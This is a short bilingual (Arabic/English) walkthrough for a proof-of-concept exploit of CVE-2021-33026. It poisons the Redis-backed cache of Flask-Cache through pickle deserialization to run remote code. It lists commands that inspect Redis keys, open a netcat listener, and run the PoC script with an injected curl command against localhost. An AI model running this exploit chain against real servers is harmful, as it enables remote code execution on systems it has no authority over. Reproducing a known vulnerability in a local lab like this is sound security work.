
استغلال لإثبات المفهوم لـ CVE-2021-33026 يوضح تسميم ذاكرة التخزين المؤقت لـ Redis في Flask-Cache عبر إلغاء تسلسل pickle لتحقيق تنفيذ التعليمات البرمجية عن بُعد.
Pickle Serialization Remote Code Execution - Redis Poisoning PoC Exploit
تحقق من أن خادم redis يعمل
redis-cli -h 127.0.0.1 -p 6379 ping
redis-cli keys *
redis-cli get [Keyid]
ابدأ بالاستماع على netcat في المنفذ 10001 :
nc -nvlp 10001
إعداد البيئات لـ Flask Chache
python -m venv venv_flask_cache_<lib_ver>
source venv_flask_cache_<lib_ver>\scripts\activate
pip install -r <requirement.txt>
إعداد البيئات لـ Flask Chache 2.3.0
شغّل تطبيق Flask وأنشئ مفتاح cache :
flask run
curl --header "Content-Type: application/json" --request POST --data {"key":"Cachelib_2.3"} http://localhost:5000/cache/new
احصل على قيمة مفتاح cache من تطبيق Flask
curl --request GET http://localhost:5000/cache/[key]
استغلال Flask Cache عن طريق تسميم Redis Cache :
cve-2021-33026_PoC.py --rhost 127.0.0.1 --rport 5000 --cacheType redis --cmd "curl http://localhost:10001" --id 41685a90-434e-4d70-9a08-35b78025e09a